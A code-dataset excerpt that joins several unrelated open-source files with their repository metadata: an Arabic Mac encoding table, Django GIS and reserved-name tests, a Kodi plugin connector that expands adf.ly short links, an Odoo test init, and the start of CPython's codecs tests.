LATIN SMALL LETTER S 0x0074: 0x0074, # LATIN SMALL LETTER T 0x0075: 0x0075, # LATIN SMALL LETTER U 0x0076: 0x0076, # LATIN SMALL LETTER V 0x0077: 0x0077, # LATIN SMALL LETTER W 0x0078: 0x0078, # LATIN SMALL LETTER X 0x0079: 0x0079, # LATIN SMALL LETTER Y 0x007a: 0x007a, # LATIN SMALL LETTER Z 0x007b: 0x007b, # LEFT CURLY BRACKET, left-right 0x007b: 0x00fb, # LEFT CURLY BRACKET, right-left 0x007c: 0x007c, # VERTICAL LINE, left-right 0x007c: 0x00fc, # VERTICAL LINE, right-left 0x007d: 0x007d, # RIGHT CURLY BRACKET, left-right 0x007d: 0x00fd, # RIGHT CURLY BRACKET, right-left 0x007e: 0x007e, # TILDE 0x007f: 0x007f, # CONTROL CHARACTER 0x00a0: 0x0081, # NO-BREAK SPACE, right-left 0x00ab: 0x008c, # LEFT-POINTING DOUBLE ANGLE QUOTATION MARK, right-left 0x00bb: 0x0098, # RIGHT-POINTING DOUBLE ANGLE QUOTATION MARK, right-left 0x00c4: 0x0080, # LATIN CAPITAL LETTER A WITH DIAERESIS 0x00c7: 0x0082, # LATIN CAPITAL LETTER C WITH CEDILLA 0x00c9: 0x0083, # LATIN CAPITAL LETTER E WITH ACUTE 0x00d1: 0x0084, # LATIN CAPITAL LETTER N WITH TILDE 0x00d6: 0x0085, # LATIN CAPITAL LETTER O WITH DIAERESIS 0x00dc: 0x0086, # LATIN CAPITAL LETTER U WITH DIAERESIS 0x00e0: 0x0088, # LATIN SMALL LETTER A WITH GRAVE 0x00e1: 0x0087, # LATIN SMALL LETTER A WITH ACUTE 0x00e2: 0x0089, # LATIN SMALL LETTER A WITH CIRCUMFLEX 0x00e4: 0x008a, # LATIN SMALL LETTER A WITH DIAERESIS 0x00e7: 0x008d, # LATIN SMALL LETTER C WITH CEDILLA 0x00e8: 0x008f, # LATIN SMALL LETTER E WITH GRAVE 0x00e9: 0x008e, # LATIN SMALL LETTER E WITH ACUTE 0x00ea: 0x0090, # LATIN SMALL LETTER E WITH CIRCUMFLEX 0x00eb: 0x0091, # LATIN SMALL LETTER E WITH DIAERESIS 0x00ed: 0x0092, # LATIN SMALL LETTER I WITH ACUTE 0x00ee: 0x0094, # LATIN SMALL LETTER I WITH CIRCUMFLEX 0x00ef: 0x0095, # LATIN SMALL LETTER I WITH DIAERESIS 0x00f1: 0x0096, # LATIN SMALL LETTER N WITH TILDE 0x00f3: 0x0097, # LATIN SMALL LETTER O WITH ACUTE 0x00f4: 0x0099, # LATIN SMALL LETTER O WITH CIRCUMFLEX 0x00f6: 0x009a, # LATIN SMALL LETTER O WITH DIAERESIS 0x00f7: 0x009b, # DIVISION SIGN, right-left 0x00f9: 0x009d, # LATIN SMALL LETTER U WITH GRAVE 0x00fa: 0x009c, # LATIN SMALL LETTER U WITH ACUTE 0x00fb: 0x009e, # LATIN SMALL LETTER U WITH CIRCUMFLEX 0x00fc: 0x009f, # LATIN SMALL LETTER U WITH DIAERESIS 0x060c: 0x00ac, # ARABIC COMMA 0x061b: 0x00bb, # ARABIC SEMICOLON 0x061f: 0x00bf, # ARABIC QUESTION MARK 0x0621: 0x00c1, # ARABIC LETTER HAMZA 0x0622: 0x00c2, # ARABIC LETTER ALEF WITH MADDA ABOVE 0x0623: 0x00c3, # ARABIC LETTER ALEF WITH HAMZA ABOVE 0x0624: 0x00c4, # ARABIC LETTER WAW WITH HAMZA ABOVE 0x0625: 0x00c5, # ARABIC LETTER ALEF WITH HAMZA BELOW 0x0626: 0x00c6, # ARABIC LETTER YEH WITH HAMZA ABOVE 0x0627: 0x00c7, # ARABIC LETTER ALEF 0x0628: 0x00c8, # ARABIC LETTER BEH 0x0629: 0x00c9, # ARABIC LETTER TEH MARBUTA 0x062a: 0x00ca, # ARABIC LETTER TEH 0x062b: 0x00cb, # ARABIC LETTER THEH 0x062c: 0x00cc, # ARABIC LETTER JEEM 0x062d: 0x00cd, # ARABIC LETTER HAH 0x062e: 0x00ce, # ARABIC LETTER KHAH 0x062f: 0x00cf, # ARABIC LETTER DAL 0x0630: 0x00d0, # ARABIC LETTER THAL 0x0631: 0x00d1, # ARABIC LETTER REH 0x0632: 0x00d2, # ARABIC LETTER ZAIN 0x0633: 0x00d3, # ARABIC LETTER SEEN 0x0634: 0x00d4, # ARABIC LETTER SHEEN 0x0635: 0x00d5, # ARABIC LETTER SAD 0x0636: 0x00d6, # ARABIC LETTER DAD 0x0637: 0x00d7, # ARABIC LETTER TAH 0x0638: 0x00d8, # ARABIC LETTER ZAH 0x0639: 0x00d9, # ARABIC LETTER AIN 0x063a: 0x00da, # ARABIC LETTER GHAIN 0x0640: 0x00e0, # ARABIC TATWEEL 0x0641: 0x00e1, # ARABIC LETTER FEH 0x0642: 0x00e2, # ARABIC LETTER QAF 0x0643: 0x00e3, # ARABIC LETTER KAF 0x0644: 0x00e4, # ARABIC LETTER LAM 0x0645: 0x00e5, # ARABIC LETTER MEEM 0x0646: 0x00e6, # ARABIC LETTER NOON 0x0647: 0x00e7, # ARABIC LETTER HEH 0x0648: 0x00e8, # ARABIC LETTER WAW 0x0649: 0x00e9, # ARABIC LETTER ALEF MAKSURA 0x064a: 0x00ea, # ARABIC LETTER YEH 0x064b: 0x00eb, # ARABIC FATHATAN 0x064c: 0x00ec, # ARABIC DAMMATAN 0x064d: 0x00ed, # ARABIC KASRATAN 0x064e: 0x00ee, # ARABIC FATHA 0x064f: 0x00ef, # ARABIC DAMMA 0x0650: 0x00f0, # ARABIC KASRA 0x0651: 0x00f1, # ARABIC SHADDA 0x0652: 0x00f2, # ARABIC SUKUN 0x0660: 0x00b0, # ARABIC-INDIC DIGIT ZERO, right-left (need override) 0x0661: 0x00b1, # ARABIC-INDIC DIGIT ONE, right-left (need override) 0x0662: 0x00b2, # ARABIC-INDIC DIGIT TWO, right-left (need override) 0x0663: 0x00b3, # ARABIC-INDIC DIGIT THREE, right-left (need override) 0x0664: 0x00b4, # ARABIC-INDIC DIGIT FOUR, right-left (need override) 0x0665: 0x00b5, # ARABIC-INDIC DIGIT FIVE, right-left (need override) 0x0666: 0x00b6, # ARABIC-INDIC DIGIT SIX, right-left (need override) 0x0667: 0x00b7, # ARABIC-INDIC DIGIT SEVEN, right-left (need override) 0x0668: 0x00b8, # ARABIC-INDIC DIGIT EIGHT, right-left (need override) 0x0669: 0x00b9, # ARABIC-INDIC DIGIT NINE, right-left (need override) 0x066a: 0x00a5, # ARABIC PERCENT SIGN 0x0679: 0x00f4, # ARABIC LETTER TTEH 0x067e: 0x00f3, # ARABIC LETTER PEH 0x0686: 0x00f5, # ARABIC LETTER TCHEH 0x0688: 0x00f9, # ARABIC LETTER DDAL 0x0691: 0x00fa, # ARABIC LETTER RREH 0x0698: 0x00fe, # ARABIC LETTER JEH 0x06a4: 0x00f7, # ARABIC LETTER VEH 0x06af: 0x00f8, # ARABIC LETTER GAF 0x06ba: 0x008b, # ARABIC LETTER NOON GHUNNA 0x06d2: 0x00ff, # ARABIC LETTER YEH BARREE 0x06d5: 0x00f6, # ARABIC LETTER AE 0x2026: 0x0093, # HORIZONTAL ELLIPSIS, right-left 0x274a: 0x00c0, # EIGHT TEARDROP-SPOKED PROPELLER ASTERISK, right-left }
amrdraz/brython
www/src/Lib/encodings/mac_arabic.py
Python
bsd-3-clause
37,165
from __future__ import unicode_literals from django.contrib.gis.db.models import F, Collect, Count, Extent, Union from django.contrib.gis.geometry.backend import Geometry from django.contrib.gis.geos import GEOSGeometry, MultiPoint, Point from django.db import connection from django.test import TestCase, skipUnlessDBFeature from django.test.utils import override_settings from django.utils import timezone from ..utils import no_oracle from .models import ( Article, Author, Book, City, DirectoryEntry, Event, Location, Parcel, ) @skipUnlessDBFeature("gis_enabled") class RelatedGeoModelTest(TestCase): fixtures = ['initial'] def test02_select_related(self): "Testing `select_related` on geographic models (see #7126)." qs1 = City.objects.order_by('id') qs2 = City.objects.order_by('id').select_related() qs3 = City.objects.order_by('id').select_related('location') # Reference data for what's in the fixtures. cities = ( ('Aurora', 'TX', -97.516111, 33.058333), ('Roswell', 'NM', -104.528056, 33.387222), ('Kecksburg', 'PA', -79.460734, 40.18476), ) for qs in (qs1, qs2, qs3): for ref, c in zip(cities, qs): nm, st, lon, lat = ref self.assertEqual(nm, c.name) self.assertEqual(st, c.state) self.assertEqual(Point(lon, lat), c.location.point) @skipUnlessDBFeature("has_transform_method") def test03_transform_related(self): "Testing the `transform` GeoQuerySet method on related geographic models." # All the transformations are to state plane coordinate systems using # US Survey Feet (thus a tolerance of 0 implies error w/in 1 survey foot). tol = 0 def check_pnt(ref, pnt): self.assertAlmostEqual(ref.x, pnt.x, tol) self.assertAlmostEqual(ref.y, pnt.y, tol) self.assertEqual(ref.srid, pnt.srid) # Each city transformed to the SRID of their state plane coordinate system. transformed = (('Kecksburg', 2272, 'POINT(1490553.98959621 314792.131023984)'), ('Roswell', 2257, 'POINT(481902.189077221 868477.766629735)'), ('Aurora', 2276, 'POINT(2269923.2484839 7069381.28722222)'), ) for name, srid, wkt in transformed: # Doing this implicitly sets `select_related` select the location. # TODO: Fix why this breaks on Oracle. qs = list(City.objects.filter(name=name).transform(srid, field_name='location__point')) check_pnt(GEOSGeometry(wkt, srid), qs[0].location.point) @skipUnlessDBFeature("supports_extent_aggr") def test_related_extent_aggregate(self): "Testing the `Extent` aggregate on related geographic models." # This combines the Extent and Union aggregates into one query aggs = City.objects.aggregate(Extent('location__point')) # One for all locations, one that excludes New Mexico (Roswell). all_extent = (-104.528056, 29.763374, -79.460734, 40.18476) txpa_extent = (-97.516111, 29.763374, -79.460734, 40.18476) e1 = City.objects.aggregate(Extent('location__point'))['location__point__extent'] e2 = City.objects.exclude(state='NM').aggregate(Extent('location__point'))['location__point__extent'] e3 = aggs['location__point__extent'] # The tolerance value is to four decimal places because of differences # between the Oracle and PostGIS spatial backends on the extent calculation. tol = 4 for ref, e in [(all_extent, e1), (txpa_extent, e2), (all_extent, e3)]: for ref_val, e_val in zip(ref, e): self.assertAlmostEqual(ref_val, e_val, tol) @skipUnlessDBFeature("supports_extent_aggr") def test_related_extent_annotate(self): """ Test annotation with Extent GeoAggregate. """ cities = City.objects.annotate(points_extent=Extent('location__point')).order_by('name') tol = 4 self.assertAlmostEqual( cities[0].points_extent, (-97.516111, 33.058333, -97.516111, 33.058333), tol ) @skipUnlessDBFeature("has_unionagg_method") def test_related_union_aggregate(self): "Testing the `Union` aggregate on related geographic models." # This combines the Extent and Union aggregates into one query aggs = City.objects.aggregate(Union('location__point')) # These are the points that are components of the aggregate geographic # union that is returned. Each point # corresponds to City PK. p1 = Point(-104.528056, 33.387222) p2 = Point(-97.516111, 33.058333) p3 = Point(-79.460734, 40.18476) p4 = Point(-96.801611, 32.782057) p5 = Point(-95.363151, 29.763374) # The second union aggregate is for a union # query that includes limiting information in the WHERE clause (in other # words a `.filter()` precedes the call to `.aggregate(Union()`). ref_u1 = MultiPoint(p1, p2, p4, p5, p3, srid=4326) ref_u2 = MultiPoint(p2, p3, srid=4326) u1 = City.objects.aggregate(Union('location__point'))['location__point__union'] u2 = City.objects.exclude( name__in=('Roswell', 'Houston', 'Dallas', 'Fort Worth'), ).aggregate(Union('location__point'))['location__point__union'] u3 = aggs['location__point__union'] self.assertEqual(type(u1), MultiPoint) self.assertEqual(type(u3), MultiPoint) # Ordering of points in the result of the union is not defined and # implementation-dependent (DB backend, GEOS version) self.assertSetEqual({p.ewkt for p in ref_u1}, {p.ewkt for p in u1}) self.assertSetEqual({p.ewkt for p in ref_u2}, {p.ewkt for p in u2}) self.assertSetEqual({p.ewkt for p in ref_u1}, {p.ewkt for p in u3}) def test05_select_related_fk_to_subclass(self): "Testing that calling select_related on a query over a model with an FK to a model subclass works" # Regression test for #9752. list(DirectoryEntry.objects.all().select_related()) def test06_f_expressions(self): "Testing F() expressions on GeometryFields." # Constructing a dummy parcel border and getting the City instance for # assigning the FK. b1 = GEOSGeometry( 'POLYGON((-97.501205 33.052520,-97.501205 33.052576,' '-97.501150 33.052576,-97.501150 33.052520,-97.501205 33.052520))', srid=4326 ) pcity = City.objects.get(name='Aurora') # First parcel has incorrect center point that is equal to the City; # it also has a second border that is different from the first as a # 100ft buffer around the City. c1 = pcity.location.point c2 = c1.transform(2276, clone=True) b2 = c2.buffer(100) Parcel.objects.create(name='P1', city=pcity, center1=c1, center2=c2, border1=b1, border2=b2) # Now creating a second Parcel where the borders are the same, just # in different coordinate systems. The center points are also the # same (but in different coordinate systems), and this time they # actually correspond to the centroid of the border. c1 = b1.centroid c2 = c1.transform(2276, clone=True) Parcel.objects.create(name='P2', city=pcity, center1=c1, center2=c2, border1=b1, border2=b1) # Should return the second Parcel, which has the center within the # border. qs = Parcel.objects.filter(center1__within=F('border1')) self.assertEqual(1, len(qs)) self.assertEqual('P2', qs[0].name) if connection.features.supports_transform: # This time center2 is in a different coordinate system and needs # to be wrapped in transformation SQL. qs = Parcel.objects.filter(center2__within=F('border1')) self.assertEqual(1, len(qs)) self.assertEqual('P2', qs[0].name) # Should return the first Parcel, which has the center point equal # to the point in the City ForeignKey. qs = Parcel.objects.filter(center1=F('city__location__point')) self.assertEqual(1, len(qs)) self.assertEqual('P1', qs[0].name) if connection.features.supports_transform: # This time the city column should be wrapped in transformation SQL. qs = Parcel.objects.filter(border2__contains=F('city__location__point')) self.assertEqual(1, len(qs)) self.assertEqual('P1', qs[0].name) def test07_values(self): "Testing values() and values_list() and GeoQuerySets." gqs = Location.objects.all() gvqs = Location.objects.values() gvlqs = Location.objects.values_list() # Incrementing through each of the models, dictionaries, and tuples # returned by the different types of GeoQuerySets. for m, d, t in zip(gqs, gvqs, gvlqs): # The values should be Geometry objects and not raw strings returned # by the spatial database. self.assertIsInstance(d['point'], Geometry) self.assertIsInstance(t[1], Geometry) self.assertEqual(m.point, d['point']) self.assertEqual(m.point, t[1]) @override_settings(USE_TZ=True) def test_07b_values(self): "Testing values() and values_list() with aware datetime. See #21565." Event.objects.create(name="foo", when=timezone.now()) list(Event.objects.values_list('when')) def test08_defer_only(self): "Testing defer() and only() on Geographic models." qs = Location.objects.all() def_qs = Location.objects.defer('point') for loc, def_loc in zip(qs, def_qs): self.assertEqual(loc.point, def_loc.point) def test09_pk_relations(self): "Ensuring correct primary key column is selected across relations. See #10757." # The expected ID values -- notice the last two location IDs # are out of order. Dallas and Houston have location IDs that differ # from their PKs -- this is done to ensure that the related location # ID column is selected instead of ID column for the city. city_ids = (1, 2, 3, 4, 5) loc_ids = (1, 2, 3, 5, 4) ids_qs = City.objects.order_by('id').values('id', 'location__id') for val_dict, c_id, l_id in zip(ids_qs, city_ids, loc_ids): self.assertEqual(val_dict['id'], c_id) self.assertEqual(val_dict['location__id'], l_id) # TODO: fix on Oracle -- qs2 returns an empty result for an unknown reason @no_oracle def test10_combine(self): "Testing the combination of two GeoQuerySets. See #10807." buf1 = City.objects.get(name='Aurora').location.point.buffer(0.1) buf2 = City.objects.get(name='Kecksburg').location.point.buffer(0.1) qs1 = City.objects.filter(location__point__within=buf1) qs2 = City.objects.filter(location__point__within=buf2) combined = qs1 | qs2 names = [c.name for c in combined] self.assertEqual(2, len(names)) self.assertIn('Aurora', names) self.assertIn('Kecksburg', names) # TODO: fix on Oracle -- get the following error because the SQL is ordered # by a geometry object, which Oracle apparently doesn't like: # ORA-22901: cannot compare nested table or VARRAY or LOB attributes of an object type @no_oracle def test12a_count(self): "Testing `Count` aggregate use with the `GeoManager` on geo-fields." # The City, 'Fort Worth' uses the same location as Dallas. dallas = City.objects.get(name='Dallas') # Count annotation should be 2 for the Dallas location now. loc = Location.objects.annotate(num_cities=Count('city')).get(id=dallas.location.id) self.assertEqual(2, loc.num_cities) def test12b_count(self): "Testing `Count` aggregate use with the `GeoManager` on non geo-fields. See #11087." # Should only be one author (Trevor Paglen) returned by this query, and # the annotation should have 3 for the number of books, see #11087. # Also testing with a values(), see #11489. qs = Author.objects.annotate(num_books=Count('books')).filter(num_books__gt=1) vqs = Author.objects.values('name').annotate(num_books=Count('books')).filter(num_books__gt=1) self.assertEqual(1, len(qs)) self.assertEqual(3, qs[0].num_books) self.assertEqual(1, len(vqs)) self.assertEqual(3, vqs[0]['num_books']) # TODO: fix on Oracle -- get the following error because the SQL is ordered # by a geometry object, which Oracle apparently doesn't like: # ORA-22901: cannot compare nested table or VARRAY or LOB attributes of an object type @no_oracle def test13c_count(self): "Testing `Count` aggregate with `.values()`. See #15305." qs = Location.objects.filter(id=5).annotate(num_cities=Count('city')).values('id', 'point', 'num_cities') self.assertEqual(1, len(qs)) self.assertEqual(2, qs[0]['num_cities']) self.assertIsInstance(qs[0]['point'], GEOSGeometry) # TODO: The phantom model does appear on Oracle. @no_oracle def test13_select_related_null_fk(self): "Testing `select_related` on a nullable ForeignKey via `GeoManager`. See #11381." Book.objects.create(title='Without Author') b = Book.objects.select_related('author').get(title='Without Author') # Should be `None`, and not a 'dummy' model. self.assertIsNone(b.author) @skipUnlessDBFeature("supports_collect_aggr") def test_collect(self): """ Testing the `Collect` aggregate. """ # Reference query: # SELECT AsText(ST_Collect("relatedapp_location"."point")) FROM "relatedapp_city" LEFT OUTER JOIN # "relatedapp_location" ON ("relatedapp_city"."location_id" = "relatedapp_location"."id") # WHERE "relatedapp_city"."state" = 'TX'; ref_geom = GEOSGeometry( 'MULTIPOINT(-97.516111 33.058333,-96.801611 32.782057,' '-95.363151 29.763374,-96.801611 32.782057)' ) coll = City.objects.filter(state='TX').aggregate(Collect('location__point'))['location__point__collect'] # Even though Dallas and Ft. Worth share same point, Collect doesn't # consolidate -- that's why 4 points in MultiPoint. self.assertEqual(4, len(coll)) self.assertTrue(ref_geom.equals(coll)) def test15_invalid_select_related(self): "Testing doing select_related on the related name manager of a unique FK. See #13934." qs = Article.objects.select_related('author__article') # This triggers TypeError when `get_default_columns` has no `local_only` # keyword. The TypeError is swallowed if QuerySet is actually # evaluated as list generation swallows TypeError in CPython. str(qs.query) def test16_annotated_date_queryset(self): "Ensure annotated date querysets work if spatial backend is used. See #14648." birth_years = [dt.year for dt in list(Author.objects.annotate(num_books=Count('books')).dates('dob', 'year'))] birth_years.sort() self.assertEqual([1950, 1974], birth_years) # TODO: Related tests for KML, GML, and distance lookups.
WillGuan105/django
tests/gis_tests/relatedapp/tests.py
Python
bsd-3-clause
15,582
# -*- coding: utf-8 -*- #------------------------------------------------------------ # pelisalacarta - XBMC Plugin # Conector para adfly (acortador de url) # http://blog.tvalacarta.info/plugin-xbmc/pelisalacarta/ #------------------------------------------------------------ import urlparse,urllib2,urllib,re import os from core import scrapertools from core import logger from core import config def get_long_url( short_url ): logger.info("servers.adfly get_long_url(short_url='%s')" % short_url) request_headers = [] request_headers.append(["User-Agent","Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; es-ES; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12"]) request_headers.append(["Referer","http://linkdecrypter.com"]) post=urllib.urlencode({"pro_links":short_url,"modo_links":"text","modo_recursivo":"on","link_cache":"on"}) url = "http://linkdecrypter.com/" # Parche porque python no parece reconocer bien la cabecera phpsessid body,response_headers = scrapertools.read_body_and_headers(url,post=post,headers=request_headers) n = 1 while True: for name,value in response_headers: if name=="set-cookie": logger.info("Set-Cookie: "+value) cookie_name = scrapertools.get_match(value,'(.*?)\=.*?\;') cookie_value = scrapertools.get_match(value,'.*?\=(.*?)\;') request_headers.append(["Cookie",cookie_name+"="+cookie_value]) body,response_headers = scrapertools.read_body_and_headers(url,headers=request_headers) logger.info("body="+body) try: location = scrapertools.get_match(body,'<textarea.*?class="caja_des">([^<]+)</textarea>') logger.info("location="+location) break except: n = n + 1 if n>3: break return location def test(): location = get_long_url("http://85093635.linkbucks.com/") ok = ("freakshare.com" in location) #if ok: # location = get_long_url("http://adf.ly/Fp6BF") # ok = "http://vk.com/" in location print "Funciona:",ok return ok
jose36/plugin.video.live.ProyectoLuzDigital-
servers/adfly.py
Python
gpl-2.0
2,142
""" 18. Using SQL reserved names Need to use a reserved SQL name as a column name or table name? Need to include a hyphen in a column or table name? No problem. Django quotes names appropriately behind the scenes, so your database won't complain about reserved-name usage. """ from django.db import models from django.utils.encoding import python_2_unicode_compatible @python_2_unicode_compatible class Thing(models.Model): when = models.CharField(max_length=1, primary_key=True) join = models.CharField(max_length=1) like = models.CharField(max_length=1) drop = models.CharField(max_length=1) alter = models.CharField(max_length=1) having = models.CharField(max_length=1) where = models.DateField(max_length=1) has_hyphen = models.CharField(max_length=1, db_column='has-hyphen') class Meta: db_table = 'select' def __str__(self): return self.when
diegoguimaraes/django
tests/reserved_names/models.py
Python
bsd-3-clause
910
from . import common from .common import *
richard-willowit/odoo
odoo/tests/__init__.py
Python
gpl-3.0
43
from test import support import unittest import codecs import locale import sys, _testcapi, io class Queue(object): """ queue: write bytes at one end, read bytes from the other end """ def __init__(self, buffer): self._buffer = buffer def write(self, chars): self._buffer += chars def read(self, size=-1): if size<0: s = self._buffer self._buffer = self._buffer[:0] # make empty return s else: s = self._buffer[:size] self._buffer = self._buffer[size:] return s class MixInCheckStateHandling: def check_state_handling_decode(self, encoding, u, s): for i in range(len(s)+1): d = codecs.getincrementaldecoder(encoding)() part1 = d.decode(s[:i]) state = d.getstate() self.assertIsInstance(state[1], int) # Check that the condition stated in the documentation for # IncrementalDecoder.getstate() holds if not state[1]: # reset decoder to the default state without anything buffered d.setstate((state[0][:0], 0)) # Feeding the previous input may not produce any output self.assertTrue(not d.decode(state[0])) # The decoder must return to the same state self.assertEqual(state, d.getstate()) # Create a new decoder and set it to the state # we extracted from the old one d = codecs.getincrementaldecoder(encoding)() d.setstate(state) part2 = d.decode(s[i:], True) self.assertEqual(u, part1+part2) def check_state_handling_encode(self, encoding, u, s): for i in range(len(u)+1): d = codecs.getincrementalencoder(encoding)() part1 = d.encode(u[:i]) state = d.getstate() d = codecs.getincrementalencoder(encoding)() d.setstate(state) part2 = d.encode(u[i:], True) self.assertEqual(s, part1+part2) class ReadTest(unittest.TestCase, MixInCheckStateHandling): def check_partial(self, input, partialresults): # get a StreamReader for the encoding and feed the bytestring version # of input to the reader byte by byte. Read everything available from # the StreamReader and check that the results equal the appropriate # entries from partialresults. q = Queue(b"") r = codecs.getreader(self.encoding)(q) result = "" for (c, partialresult) in zip(input.encode(self.encoding), partialresults): q.write(bytes([c])) result += r.read() self.assertEqual(result, partialresult) # check that there's nothing left in the buffers self.assertEqual(r.read(), "") self.assertEqual(r.bytebuffer, b"") # do the check again, this time using a incremental decoder d = codecs.getincrementaldecoder(self.encoding)() result = "" for (c, partialresult) in zip(input.encode(self.encoding), partialresults): result += d.decode(bytes([c])) self.assertEqual(result, partialresult) # check that there's nothing left in the buffers self.assertEqual(d.decode(b"", True), "") self.assertEqual(d.buffer, b"") # Check whether the reset method works properly d.reset() result = "" for (c, partialresult) in zip(input.encode(self.encoding), partialresults): result += d.decode(bytes([c])) self.assertEqual(result, partialresult) # check that there's nothing left in the buffers self.assertEqual(d.decode(b"", True), "") self.assertEqual(d.buffer, b"") # check iterdecode() encoded = input.encode(self.encoding) self.assertEqual( input, "".join(codecs.iterdecode([bytes([c]) for c in encoded], self.encoding)) ) def test_readline(self): def getreader(input): stream = io.BytesIO(input.encode(self.encoding)) return codecs.getreader(self.encoding)(stream) def readalllines(input, keepends=True, size=None): reader = getreader(input) lines = [] while True: line = reader.readline(size=size, keepends=keepends) if not line: break lines.append(line) return "|".join(lines) s = "foo\nbar\r\nbaz\rspam\u2028eggs" sexpected = "foo\n|bar\r\n|baz\r|spam\u2028|eggs" sexpectednoends = "foo|bar|baz|spam|eggs" self.assertEqual(readalllines(s, True), sexpected) self.assertEqual(readalllines(s, False), sexpectednoends) self.assertEqual(readalllines(s, True, 10), sexpected) self.assertEqual(readalllines(s, False, 10), sexpectednoends) # Test long lines (multiple calls to read() in readline()) vw = [] vwo = [] for (i, lineend) in enumerate("\n \r\n \r \u2028".split()): vw.append((i*200)*"\3042" + lineend) vwo.append((i*200)*"\3042") self.assertEqual(readalllines("".join(vw), True), "".join(vw)) self.assertEqual(readalllines("".join(vw), False),"".join(vwo)) # Test lines where the first read might end with \r, so the # reader has to look ahead whether this is a lone \r or a \r\n for size in range(80): for lineend in "\n \r\n \r \u2028".split(): s = 10*(size*"a" + lineend + "xxx\n") reader = getreader(s) for i in range(10): self.assertEqual( reader.readline(keepends=True), size*"a" + lineend, ) reader = getreader(s) for i in range(10): self.assertEqual( reader.readline(keepends=False), size*"a", ) def test_bug1175396(self): s = [ '<%!--===================================================\r\n', ' BLOG index page: show recent articles,\r\n', ' today\'s articles, or articles of a specific date.\r\n', '========================================================--%>\r\n', '<%@inputencoding="ISO-8859-1"%>\r\n', '<%@pagetemplate=TEMPLATE.y%>\r\n', '<%@import=import frog.util, frog%>\r\n', '<%@import=import frog.objects%>\r\n', '<%@import=from frog.storageerrors import StorageError%>\r\n', '<%\r\n', '\r\n', 'import logging\r\n', 'log=logging.getLogger("Snakelets.logger")\r\n', '\r\n', '\r\n', 'user=self.SessionCtx.user\r\n', 'storageEngine=self.SessionCtx.storageEngine\r\n', '\r\n', '\r\n', 'def readArticlesFromDate(date, count=None):\r\n', ' entryids=storageEngine.listBlogEntries(date)\r\n', ' entryids.reverse() # descending\r\n', ' if count:\r\n', ' entryids=entryids[:count]\r\n', ' try:\r\n', ' return [ frog.objects.BlogEntry.load(storageEngine, date, Id) for Id in entryids ]\r\n', ' except StorageError,x:\r\n', ' log.error("Error loading articles: "+str(x))\r\n', ' self.abort("cannot load articles")\r\n', '\r\n', 'showdate=None\r\n', '\r\n', 'arg=self.Request.getArg()\r\n', 'if arg=="today":\r\n', ' #-------------------- TODAY\'S ARTICLES\r\n', ' self.write("<h2>Today\'s articles</h2>")\r\n', ' showdate = frog.util.isodatestr() \r\n', ' entries = readArticlesFromDate(showdate)\r\n', 'elif arg=="active":\r\n', ' #-------------------- ACTIVE ARTICLES redirect\r\n', ' self.Yredirect("active.y")\r\n', 'elif arg=="login":\r\n', ' #-------------------- LOGIN PAGE redirect\r\n', ' self.Yredirect("login.y")\r\n', 'elif arg=="date":\r\n', ' #-------------------- ARTICLES OF A SPECIFIC DATE\r\n', ' showdate = self.Request.getParameter("date")\r\n', ' self.write("<h2>Articles written on %s</h2>"% frog.util.mediumdatestr(showdate))\r\n', ' entries = readArticlesFromDate(showdate)\r\n', 'else:\r\n', ' #-------------------- RECENT ARTICLES\r\n', ' self.write("<h2>Recent articles</h2>")\r\n', ' dates=storageEngine.listBlogEntryDates()\r\n', ' if dates:\r\n', ' entries=[]\r\n', ' SHOWAMOUNT=10\r\n', ' for showdate in dates:\r\n', ' entries.extend( readArticlesFromDate(showdate, SHOWAMOUNT-len(entries)) )\r\n', ' if len(entries)>=SHOWAMOUNT:\r\n', ' break\r\n', ' \r\n', ] stream = io.BytesIO("".join(s).encode(self.encoding)) reader = codecs.getreader(self.encoding)(stream) for (i, line) in enumerate(reader): self.assertEqual(line, s[i]) def test_readlinequeue(self): q = Queue(b"") writer = codecs.getwriter(self.encoding)(q) reader = codecs.getreader(self.encoding)(q) # No lineends writer.write("foo\r") self.assertEqual(reader.readline(keepends=False), "foo") writer.write("\nbar\r") self.assertEqual(reader.readline(keepends=False), "") self.assertEqual(reader.readline(keepends=False), "bar") writer.write("baz") self.assertEqual(reader.readline(keepends=False), "baz") self.assertEqual(reader.readline(keepends=False), "") # Lineends writer.write("foo\r") self.assertEqual(reader.readline(keepends=True), "foo\r") writer.write("\nbar\r") self.assertEqual(reader.readline(keepends=True), "\n") self.assertEqual(reader.readline(keepends=True), "bar\r") writer.write("baz") self.assertEqual(reader.readline(keepends=True), "baz") self.assertEqual(reader.readline(keepends=True), "") writer.write("foo\r\n") self.assertEqual(reader.readline(keepends=True), "foo\r\n") def test_bug1098990_a(self): s1 = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy\r\n" s2 = "offending line: ladfj askldfj klasdj fskla dfzaskdj fasklfj laskd fjasklfzzzzaa%whereisthis!!!\r\n" s3 = "next line.\r\n" s = (s1+s2+s3).encode(self.encoding) stream = io.BytesIO(s) reader = codecs.getreader(self.encoding)(stream) self.assertEqual(reader.readline(), s1) self.assertEqual(reader.readline(), s2) self.assertEqual(reader.readline(), s3) self.assertEqual(reader.readline(), "") def test_bug1098990_b(self): s1 = "aaaaaaaaaaaaaaaaaaaaaaaa\r\n" s2 = "bbbbbbbbbbbbbbbbbbbbbbbb\r\n" s3 = "stillokay:bbbbxx\r\n" s4 = "broken!!!!badbad\r\n" s5 = "againokay.\r\n" s = (s1+s2+s3+s4+s5).encode(self.encoding) stream = io.BytesIO(s) reader = codecs.getreader(self.encoding)(stream) self.assertEqual(reader.readline(), s1) self.assertEqual(reader.readline(), s2) self.assertEqual(reader.readline(), s3) self.assertEqual(reader.readline(), s4) self.assertEqual(reader.readline(), s5) self.assertEqual(reader.readline(), "") class UTF32Test(ReadTest): encoding = "utf-32" spamle = (b'\xff\xfe\x00\x00' b's\x00\x00\x00p\x00\x00\x00a\x00\x00\x00m\x00\x00\x00' b's\x00\x00\x00p\x00\x00\x00a\x00\x00\x00m\x00\x00\x00') spambe = (b'\x00\x00\xfe\xff' b'\x00\x00\x00s\x00\x00\x00p\x00\x00\x00a\x00\x00\x00m' b'\x00\x00\x00s\x00\x00\x00p\x00\x00\x00a\x00\x00\x00m') def test_only_one_bom(self): _,_,reader,writer = codecs.lookup(self.encoding) # encode some stream s = io.BytesIO() f = writer(s) f.write("spam") f.write("spam") d = s.getvalue() # check whether there is exactly one BOM in it self.assertTrue(d == self.spamle or d == self.spambe) # try to read it back s = 